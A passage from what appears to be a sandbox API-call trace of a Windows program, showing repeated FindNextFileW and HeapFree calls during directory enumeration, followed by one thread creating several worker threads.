| out: lpFindFileData=0x2e5df28) returned 1 [0289.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.549] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.549] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.549] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.551] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.551] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.551] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.552] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.552] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.553] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.553] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.554] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.554] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.554] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.555] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.555] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.556] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.556] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.556] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.557] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.557] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.558] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.558] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.559] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.559] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.559] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.560] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.560] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.561] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.561] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.561] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.561] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.562] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.562] FindClose (in: hFindFile=0x380bde0 | out: hFindFile=0x380bde0) returned 1 [0289.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5490050 | out: hHeap=0x640000) returned 1 [0289.562] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0289.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4640f30 | out: hHeap=0x640000) returned 1 [0289.562] FindNextFileW (in: hFindFile=0x380bd60, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.562] FindClose (in: hFindFile=0x380bd60 | out: hFindFile=0x380bd60) returned 1 [0289.562] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.565] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.694] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.695] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.787] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.787] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0289.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.787] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.787] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0289.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.787] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.787] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.787] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.787] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.787] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.788] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.788] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.788] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.788] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.788] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.788] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.788] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.789] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.789] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.789] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.789] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.789] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.789] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.789] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.790] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.790] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.791] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.791] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.791] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.791] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.791] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.791] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.791] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.792] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0289.792] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.792] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 1 [0289.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.793] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.793] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0289.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.793] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.793] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0289.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.793] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 0 [0289.793] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.793] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0289.795] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0289.796] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.796] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.799] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 0 [0289.799] FindClose (in: hFindFile=0x380c2a0 | out: hFindFile=0x380c2a0) returned 1 [0289.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0289.799] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e1a4 | out: lpFindFileData=0x2e5e1a4) returned 0 [0289.799] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0289.799] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0289.799] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5e420 | out: lpFindFileData=0x2e5e420) returned 1 [0289.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.848] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.848] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.848] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.848] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.849] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.849] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.849] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.850] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.851] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.852] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.852] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.853] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.853] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.854] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.855] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.855] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.856] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.856] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.857] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.858] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.858] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.858] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.858] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.859] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.859] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.860] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.860] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.861] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.862] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.863] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.863] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.864] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.864] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.865] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.865] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.865] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.865] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.866] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.866] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.870] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.870] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.870] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.870] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 [0289.872] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4671f70 | out: hHeap=0x640000) returned 1 [0289.872] FindNextFileW (in: hFindFile=0x380c2a0, lpFindFileData=0x2e5df28 | out: lpFindFileData=0x2e5df28) returned 1 Thread: id = 48 os_tid = 0xd68 Thread: id = 49 os_tid = 0xd6c [0251.402] GetTickCount () returned 0xf210 [0251.402] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x24) returned 0x6a56b8 [0251.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a56b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x31c [0251.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a56b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x320 [0251.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a56b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0251.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6a56b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x328 [0251.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0c80 [0251.404] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0c80, Size=0x20) returned 0x680998 [0251.404] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0b78 [0251.404] RtlReAllocateHeap 